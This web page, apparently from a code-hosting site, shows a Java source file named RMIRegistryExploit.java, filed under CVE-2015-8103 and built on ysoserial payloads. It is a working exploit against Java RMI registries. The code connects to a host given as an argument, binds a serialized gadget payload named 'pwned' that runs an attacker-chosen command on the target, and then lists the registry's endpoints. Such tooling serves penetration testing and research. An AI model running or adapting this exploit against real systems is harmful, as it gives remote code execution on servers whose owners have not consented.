Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2015-8103/RMIRegistryExploit.java
Views: 11779
package ysoserial;12import java.rmi.Remote;3import java.rmi.registry.LocateRegistry;4import java.rmi.registry.Registry;5import java.util.Arrays;6import java.util.concurrent.Callable;78import ysoserial.payloads.CommonsCollections1;9import ysoserial.payloads.ObjectPayload;10import ysoserial.payloads.util.Gadgets;1112/*13* Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader.14* Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces.15*16* TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote17* interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler .18*/19public class RMIRegistryExploit {20public static void main(final String[] args) throws Exception {21// ensure payload doesn't detonate during construction or deserialization22ExecBlockingSecurityManager.wrap(new Callable<Void>(){public Void call() throws Exception {23Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));24String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];25Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);26Object payload = payloadClass.newInstance().getObject(args[3]);27Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);28try {29registry.bind("pwned", remote);30} catch (Throwable e) {31e.printStackTrace();32}3334try {35String[] names = registry.list();36for (String name : names) {37System.out.println("looking up '" + name + "'");38try {39Remote rem = registry.lookup(name);40System.out.println(Arrays.asList(rem.getClass().getInterfaces()));41} catch (Throwable e) {42e.printStackTrace();43}44}45} catch (Throwable e) {46e.printStackTrace();47}4849return null;50}});51}52}535455